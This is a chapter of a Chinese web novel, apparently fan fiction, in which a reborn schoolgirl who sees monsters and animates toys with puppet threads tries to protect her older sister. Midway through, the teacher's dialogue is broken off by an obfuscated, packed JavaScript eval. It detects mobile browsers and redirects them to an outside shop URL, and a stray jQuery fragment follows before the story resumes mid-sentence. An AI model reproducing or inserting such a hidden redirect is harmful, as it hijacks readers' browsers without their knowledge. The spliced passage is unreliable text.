1. 祭日能不能让人好好过?
作品:《金手指是咒灵老奶能走上人生巅峰吗?》 ……第几次了?
森谷萤想着,她知道自己在做梦,灵魂仿佛抽离出身躯,疲软的肢体无法控制身躯,只能木然任由自己走出房间,一步步迈向楼梯。
一户建的楼梯很窄峭,转角处正对着扇小窗,泄入一片浓稠的黑暗。
“咯吱——咯吱——”
森谷萤循着声音下楼梯,穿过客厅,岛台上的电子钟跳出时间。
2014.6.22.23:30:00
走廊右边那扇米色纸门开着一条缝隙,探出几根手指,正挣扎着扣着地板。
……姐姐。
——不,不要过去!
耳边那股让人牙酸的摩擦声更重了,她的灵魂奋力挣扎着想要醒来,但一切都是徒劳。
走廊好长,明明只有几步路,却像是永远走不到头,湿热的、黏腻的铁锈味钻进了她的鼻腔,糊在舌根和喉头。
她在纸门前停下。
森谷雪纪的身躯倒在门前,黑色的发丝铺在榻榻米上,背脊轻颤着像是在被什么一下下轻微地拽着,视野一点点上移,对上了……
那个怪物塞满了房间,天花板下是它森白的肋骨,鼓动着的血管,灰白的脏器肉球一样将雪纪的身体挤到纸门
咯吱……咯吱……
原来是牙齿磨碎骨头,舌头舔舐血肉的声音。
“萤……”
雪纪的声音轻轻响起,如梦中呓语,碎的侧耳仔细听就会被挤散。
“快逃……”
雪纪的头抽动着,一点点仰起了头,嘴唇蠕动着重复着那几个音节。
快逃……
快逃,快逃,快逃,快逃快逃快逃快逃快逃!
森谷萤胸前中涌起烧灼的火焰,呼吸间穿透梦境的铁锈味让她咬紧牙关。
“铃——”
森谷萤猛然睁开眼睛,大口喘着气,心脏砰砰擂鼓一样震得她头晕目眩,冷汗把后背的睡衣浸透了,又湿又凉。
床头手机闹钟还在响着,她抱着头缓了好一会,心悸感才慢慢消退。
手机震了几下显示有新消息,她探手过去,差点脱手摔了,捏紧了举在眼前点开,信息栏躺着雪纪的几条消息。
——小萤起床了吗?周一可不要迟到哦,今天仙台还有雨呢,不要忘记带伞。
森谷雪纪一周前前往东京进行齿科进修学习,并不在家。
森谷萤半张脸埋在枕头里,松了一口气,下床走到窗边,拉开了窗帘一角。
六月的最后一周,仙台的梅雨下到了最缠绵的时候,清晨的天空像被金针刺穿的灰绒布,淅沥沥漏着雨丝。
她再次回忆起那个梦境,不,也不是梦,是应该发生在去年夏天的真实事件。
更准确的说,是上一世的去年夏季。
这个世界上存在着只有她能看见的怪物,无法诉说的之物,无人理解她眼中的世界。
精神问题……被迫害妄想……怪胎……撒谎精……
五岁开始,异样的目光,背后的窃窃私语一直伴随着她,直到一年后失去双亲,她待在福利院,才松了一口气。
雪纪当时在仙台医学院读一年级,却毅然接过她的监护权,手续办了大半年,她才正式见到这位并不熟悉的亲姐姐。
刚搬来仙台的时候日子过得手忙脚乱,为了给雪纪减轻负担,也为了抓住这重新开始的机会,她放弃了这份异能,学着对盘踞在街角和校园中的怪物视而不见。
直到那个夜晚,噩梦一样的场景,她和怪物同归于尽。
再睁开眼睛,却是刚刚来到仙台的时候,她呆呆地看着正在整理纸箱的森谷雪纪。
她第一次得知失而复得的庆幸,比死而复生更让人欣喜若狂。
第二遍闹钟响起来,森谷萤回过神,身后传出窸窸窣窣的动静。
是原本乖巧倚在她的床边的那只咖啡小熊毛绒玩偶,咔吧咔吧地站了起来,它灵活地活动着四肢,憨态可掬的行了个绅士礼,开始替她整理床铺。
上一次森谷萤伪装成正常人度过了普通又短暂的一生,最后却害死了雪纪。
重生后,她决定好好使用自己的异能,绝对不会再让任何人夺走雪纪。
森谷萤接过小熊递过来的校服,顺手揉了揉毛茸茸的熊耳朵,说:“做得好,比莉。”
小熊害羞般捂住了脸,她笑了笑,换好衣服下楼。
桌上已摆好了早餐,三明治上还贴心的用番茄酱画出了歪歪扭扭的笑脸,一只绑着围裙的“皮卡丘”正在抱着椅子腿为她拉开座位。
它只有两三岁小孩子的高度,才拽出一点,闪电尾巴梆地一下砸在地板上,不动了。
森谷萤弯腰把小家伙抱起来放在桌子上,安抚道:“抱歉,忘记给你充电了。”
她说着,右手指尖衍生出一根细细的丝线,莹白、柔软、像是缝衣线,更像是解刨书上的神经线,刺入到木偶尾巴根的地方。
她拿起三明治咬着,身体里的力量一点点通过傀丝灌满它的身体。
等她吃完,那根尾巴才翘了起来,左右摇了摇,森谷萤收回了傀丝。
“比比莉更能吃呢,”森谷萤擦了擦嘴巴,站起身将皮卡丘抱到客厅的落地窗前放下,往正对院门的方向调整了一下:“今天也要好好帮我看家哦。”
今天是2015年6月22日,一个几乎算得上是元年的日子,只有平安度过今天,她才真正觉得,一切已经过去了,已经变成一场前身的梦。
但这几天越来越频繁梦到那晚,大脑叫嚣着预备!预备!
但是要防备什么?
森谷萤锁好家门,雨下得更大了,她撑开伞向学校走去。
——
下午五点半,仙台市立白鹭谷高等学校。
“这种天气在室内待久了,难怪真理子你会头晕呢。”
佐藤由美低声说着敲响了保健室的门。
小林真理子抬起头,脸色惨白:“忽然这样,还要麻烦由美和森谷同学送我,真是抱歉。”
她拘谨地望向左侧环抱着她的女生。
女生身量很高,乌黑卷发在脑后松松束成低马尾,高挺鼻梁上架着一副银框眼镜,银灰色西式校服穿在她身上不似高中生,更像是穿着高档西装运筹帷幄的白领精英。
光线昏暗,小林费力仰起头望向她。
女生深蓝色瞳孔像是夜晚汹涌如墨的海平面,皮肤冷白,圆钝鼻头柔和了五官过分锐利的攻击性,鼻尖一抹朱红小痣又增添了独属女性的魅力。
托着她的手臂有力,靠着的胸膛温热,给人十分安心的感觉。
……森谷同学,长得真好看啊,小林迷迷糊地想着,头虚软地依靠在女生肩膀上。
森谷萤瞥了小林一眼,海视线落在小林真理子的嘴角,道:“没有的事。”
她的语气和缓,仿佛看不见那只扒着小林脖颈的怪物。
绿色的皮肤泛着粘液,毛茸茸的六只蛛足般的……手?正随着小林的脉搏蠕动着米粒大小的血红色肉芽,鼠尾在少女皮肤上勒出一圈紫色淤青。
甚至无法直视小林的双眼。
恶心。
森谷萤别开视线,几分钟前的考前共勉会上,森谷萤作为学委刚放下粉笔,一转身,就瞥见小林真理子白着脸摇摇欲坠。
联系过值班老师后,她自然地和小林的好友佐藤一起,左右架着她送来了保健室。
光明正大翘了“木头脑袋”们的集会。
“咔嚓——”
门开了,校医被小林青白的脸色吓了一跳,连忙让她们将人放到检查床上,森谷萤退开时,瞥见那东西勒得更紧了。
手机响起来,她打开门走到连廊里接起,是值班老师。
汇报完小林的状况后,听筒那边传来为难的声音:“哎呀……这么严重吗?老师这里正在开很重要的会议,可以麻烦森谷同学等一下小林的家长吗?啊,小林的哥哥说还有二十分钟就能赶到了。”
森谷萤轻声说:“老师,小林情况很不妙……”
话没说完就被打断,含糊推辞着说:“大概是最近太累了吧,毕竟是高中第一次大考呢,过于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394892|200359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紧张也有可能。不会有事的。”
啧。
老师又含糊安抚了几句,挂断了电话。
雨势更大了,隐隐滚着闷雷。
待会早点结束,让班里同学早点回家好了,她漫不经心想着。
手机收进口袋,她的手随意揉着里面的小狗木雕。
不知道东京天气怎么样。
手握住门把手微微下压,门内却传来佐藤压低的数落声:“真理子你啊,太拼了吧?昨晚不会又熬到凌晨吧?就算要赢,也不能这么不顾及自己吧。”
小林的声音虚弱却执着:“我……我想试试看,如果拼尽全力,能不能战胜森谷同学。”
森谷萤眉梢,战书吗?
仔细想了想,至今几次考试,小林好像都在她后面的位置,相差越来越小,咬她咬得很紧。
室内安静下来,她干脆待在门外,直到一个西装革履的年轻男人跑过来,喘息着问:“请问……真理子……”
撑着伞将兄妹俩送到了校门口时,森谷萤的视线穿过雨幕,定在学校对面的书店门外,此刻门前空无一人。
不在吗?
森谷萤蹙眉,收回了视线。
小林兄长的车停在传达室外,小林真理子从他后背上滑下来时踉跄了下,森谷萤伸手托住她的手臂,就在肢体接触的瞬间,莹白丝线自她指尖悄然滑出,灵活如游蛇,绕上那只怪物的身体。
她手指轻微一收,丝线从怪物头顶直刺而出。
“欸?”小林忽然抬手摸了摸脖颈,疑惑地转了转头:“忽然……感觉好多了。”
她回神站稳,挣扎着说想回共勉会继续复习,森谷萤弯起眼睛,说:“不用担心,资料我会同步给你,而且今天也要结束了,还是先回去休息吧。”
“养好了精神,才能全力以赴喔。”
小林愣了一下,噌地红了脸。
坐进车子里后,小林忍不住向车窗外看去。
雨丝倾斜而下,女生手里撑着巨大的黑伞,抬手挥别时,嘴角露出一抹笑。
在她看不见的视角下,游冶的丝线绕在黑伞周围,等雨丝冲洗干净污渍,才缩回森谷萤指尖。
宣布今日学习会结束时,天已经彻底暗了下来。
森谷萤提起背包,随着人流朝校门口走去,她看了眼时间,下午六点整,比以往早半个小时。
那家伙……今天真的不会出现吗?还是说不到他出现的时间?
——
校门口撑开的雨伞汇成一片彩色长河。
森谷萤下意识扫向书店门口,一眼就看见了那个男人。
雨幕中,男人没有撑伞,白衬衫湿透了,西裤皮鞋提着公文包,一副标准社畜打扮。
来往的学生都避开了他,使周围形成了一小片真空地带。
半个月前男人初次出现时,学校安保还驱赶过他,但第二天他又会在放学时出现,什么也不做,只是站在那里注视着学生们。
渐渐地,学生们也习惯了,甚至猜测过男人是不是这所高中的毕业生,被加班逼疯了来这里缅怀青春岁月?
而真正让森谷萤觉得不舒服,神经不由自主绷紧的,是他脸上诡异的表情。
嘴角向上牵起笑容,却毫无笑意。
诡异得像是木偶,只被赋予了一个用刀划出的笑脸。
男人的头忽然转动,像是老旧的仿真洋娃娃,眼珠咕噜一下,定在了她的方向,嘴角肌肉收缩,诡笑扯得更高了。
森谷萤皱眉,压低手中的雨伞汇入了人流。
刚刚明明没有看到人,然而就在她返回的前后不到十分钟之间出现了。
这家伙之前藏在了哪里?
其他班级还没解散,社畜还没下班,低年级早已放学,所以她回家的这条路上没什么人。
拐过前方的路口再直行十五分钟就能到家了,森谷萤脚步却越来越慢。
——有人在跟着她。
黏稠的视线钉在她的后背上,阴冷又灼热,像蛇信舔过皮肤,脚步声已经和她重叠在了一起。

